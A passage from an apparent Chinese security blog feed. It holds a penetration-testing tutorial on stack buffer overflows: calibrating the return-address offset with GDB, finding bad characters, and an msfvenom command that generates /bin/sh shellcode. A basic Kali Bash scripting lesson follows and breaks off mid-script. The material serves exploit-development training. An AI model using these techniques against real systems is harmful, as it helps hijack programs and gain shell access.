&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;quot;A&amp;quot;\*268&lt;/code&gt;&lt;/strong&gt;：填充到返回地址前的偏移（假设覆盖返回地址需要 268 字节）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;&amp;quot;B&amp;quot;\*4&lt;/code&gt;&lt;/strong&gt;：覆盖返回地址的测试值（&lt;code&gt;0x42424242&lt;/code&gt;，即 ASCII &amp;ldquo;BBBB&amp;rdquo;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;\x01\x02\x03...\xff&lt;/code&gt;&lt;/strong&gt;：覆盖返回地址后的内存区域，包含所有可能的单字节值（0x01~0xff）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2"&gt;&lt;strong&gt;2. &lt;code&gt;x/256x $esp&lt;/code&gt; 和 &lt;code&gt;x/256b $esp&lt;/code&gt; 的作用&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;这两个 GDB 命令用于检查内存内容，但输出格式不同：&lt;/p&gt;
&lt;h4 id="1"&gt;&lt;strong&gt;(1) &lt;code&gt;x/256x $esp&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：以 &lt;strong&gt;十六进制四字节字（word）&lt;/strong&gt; 显示栈顶（&lt;code&gt;$esp&lt;/code&gt; 指向的地址）开始的 256 个 word（即 256×4=1024 字节）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;快速查看大范围内存布局（如返回地址、栈帧结构）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确认 &lt;code&gt;&amp;quot;B&amp;quot;*4&lt;/code&gt;（&lt;code&gt;0x42424242&lt;/code&gt;）是否覆盖到预期的返回地址位置。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;观察后续数据（&lt;code&gt;\x01\x02\x03...&lt;/code&gt;）是否连续写入内存。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-1"&gt;&lt;strong&gt;(2) &lt;code&gt;x/256b $esp&lt;/code&gt;&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：以 &lt;strong&gt;单字节（byte）&lt;/strong&gt; 显示栈顶开始的 256 个字节。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;精确检查每个字节的值，识别坏字符（Bad Characters）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证输入数据是否被篡改（如某些字符被过滤或截断）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确认内存中的字节顺序（是否与输入顺序一致）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-关键检查项"&gt;&lt;strong&gt;3. 关键检查项&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-验证返回地址覆盖"&gt;&lt;strong&gt;(1) 验证返回地址覆盖&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;x/256x $esp&lt;/code&gt;的输出中，搜索``0x42424242`。&lt;/li&gt;
&lt;li&gt;如果找到，说明 &lt;code&gt;&amp;quot;B&amp;quot;*4&lt;/code&gt; 成功覆盖返回地址。&lt;/li&gt;
&lt;li&gt;如果未找到，需重新计算偏移量（调整 &lt;code&gt;&amp;quot;A&amp;quot;*268&lt;/code&gt; 的长度）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-检测坏字符"&gt;&lt;strong&gt;(2) 检测坏字符&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;坏字符（Bad Characters）&lt;/strong&gt;：某些字节（如 &lt;code&gt;\x00&lt;/code&gt;、&lt;code&gt;\x0a&lt;/code&gt;、&lt;code&gt;\x0d&lt;/code&gt;）可能导致输入被截断或程序崩溃。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检查方法：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;x/256b $esp&lt;/code&gt; 的输出中，从 &lt;code&gt;0x01&lt;/code&gt; 开始逐字节对比输入和内存中的值。&lt;/li&gt;
&lt;li&gt;若某个字节在内存中缺失或值改变（如 &lt;code&gt;0x09&lt;/code&gt; 变为 &lt;code&gt;0x20&lt;/code&gt;），则该字节为坏字符。&lt;/li&gt;
&lt;li&gt;在构造 Shellcode 时需避免使用坏字符。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-观察内存连续性"&gt;&lt;strong&gt;(3) 观察内存连续性&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;确认输入数据（&lt;code&gt;\x01\x02\x03...&lt;/code&gt;）是否完整且顺序正确。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果发现数据断裂或顺序错乱，可能因栈溢出破坏其他变量或指针。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-示例输出分析"&gt;&lt;strong&gt;4. 示例输出分析&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;假设执行 &lt;code&gt;x/16x $esp&lt;/code&gt; 输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;0xbffffb80: 0x41414141 0x41414141 0x41414141 0x42424242
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;0xbffffb90: 0x03020100 0x07060504 0x0b0a0908 0x0f0e0d0c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;覆盖验证&lt;/strong&gt;：地址 &lt;code&gt;0xbffffb8c&lt;/code&gt; 处值为 &lt;code&gt;0x42424242&lt;/code&gt;，说明返回地址被正确覆盖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据连续性&lt;/strong&gt;：后续数据 &lt;code&gt;0x03020100&lt;/code&gt; 对应输入 &lt;code&gt;\x00\x01\x02\x03&lt;/code&gt;（注意小端序）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;若执行 &lt;code&gt;x/16b $esp&lt;/code&gt; 输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;0xbffffb80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;0xbffffb88: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字节验证&lt;/strong&gt;：输入 &lt;code&gt;&amp;quot;A&amp;quot;&lt;/code&gt;（0x41）和 &lt;code&gt;&amp;quot;B&amp;quot;&lt;/code&gt;（0x42）正确写入内存。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-渗透测试中的应用"&gt;&lt;strong&gt;5. 渗透测试中的应用&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;偏移量校准&lt;/strong&gt;：通过多次运行和观察内存，调整 &lt;code&gt;&amp;quot;A&amp;quot;*N&lt;/code&gt; 的长度，确保返回地址精准覆盖。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;坏字符列表生成&lt;/strong&gt;：记录所有被篡改的字节，构建 &lt;code&gt;BadChars = \x00\x09\x0a...&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shellcode 适配 ：使用编码器（如&lt;code&gt;msfvenom&lt;/code&gt;）生成不含坏字符的 Shellcode：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p linux/x86/exec &lt;span class="nv"&gt;CMD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh -b &lt;span class="s1"&gt;&amp;#39;\x00\x09\x0a&amp;#39;&lt;/span&gt; -f python
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x/256x $esp&lt;/code&gt;&lt;/strong&gt;：用于快速观察内存布局，验证大范围数据覆盖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x/256b $esp&lt;/code&gt;&lt;/strong&gt;：用于精细检查字节级数据，识别坏字符和输入篡改。&lt;/li&gt;
&lt;li&gt;在渗透测试中，这两个命令是调试缓冲区溢出漏洞的 &lt;strong&gt;核心工具&lt;/strong&gt;，帮助确认攻击载荷的有效性和可靠性。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day14 Kali的Bash脚本</title><link>https://ruajingjing.top/post/day14-kali%E7%9A%84bash%E8%84%9A%E6%9C%AC/</link><pubDate>Fri, 16 May 2025 16:24:22 +0000</pubDate><guid>https://ruajingjing.top/post/day14-kali%E7%9A%84bash%E8%84%9A%E6%9C%AC/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day14 Kali的Bash脚本" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="bash脚本基础"&gt;Bash脚本基础
&lt;/h2&gt;&lt;p&gt;新建一个&lt;code&gt;hello-world.sh&lt;/code&gt;文件，写入以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Hello world Bash Script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello world!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后给脚本添加执行权限后运行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod +x hello-world.sh 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./hello-world.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516132311698" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516132311698.png"&gt;&lt;/p&gt;
&lt;h2 id="变量"&gt;变量
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;hello
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;world
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;I am Hacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$s2&lt;/span&gt; &lt;span class="nv"&gt;$s2&lt;/span&gt; &lt;span class="nv"&gt;$s3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516132613788" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516132613788.png"&gt;&lt;/p&gt;
&lt;p&gt;参数里面套命令，推荐用&lt;code&gt;$()&lt;/code&gt;的用法，` 是过时的用法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;user1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;whoami&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;user2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;whoami&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$user1&lt;/span&gt; &lt;span class="nv"&gt;$user2&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516133017421" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516133017421.png"&gt;&lt;/p&gt;
&lt;h2 id="参数"&gt;参数
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$0&lt;/span&gt; 脚本文件名自己
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;-&lt;span class="nv"&gt;$9&lt;/span&gt; bash脚本的前九个参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$#&lt;/span&gt; 传递给bash脚本的参数数量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$@&lt;/span&gt; 传递给bash 脚本的所有参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$?&lt;/span&gt; 最近运行的程序的退出状态
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt; 运行脚本的用户的用户名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$HOSTNAME&lt;/span&gt; 计算机的主机名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$RANDOM&lt;/span&gt; 生成一个随机数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt; 脚本中的当前行号
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;新建一个脚本写入如下内容。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The first two arguments are &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt; and &lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516133425998" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516133425998.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 文件名: demo_script.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 演示常用 Bash 参数的用法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 打印脚本名称&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;脚本名称: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 打印前三个参数（若未传递参数则显示空）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第一个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第二个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;2&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;第三个参数: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;3&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;未提供&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 3. 打印总参数个数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;参数总数: &lt;/span&gt;&lt;span class="nv"&gt;$#&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 4. 打印所有参数（带循环）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;所有参数:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; arg in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 参数&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$arg&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;count++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 5. 测试上一个命令的退出状态&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;生成随机数（测试退出状态）:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;随机数: &lt;/span&gt;&lt;span class="nv"&gt;$RANDOM&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;生成随机数的退出状态: &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="s2"&gt; (0表示成功)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 6. 故意执行一个失败的命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;执行一个失败的命令:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;ls /non_existent_file
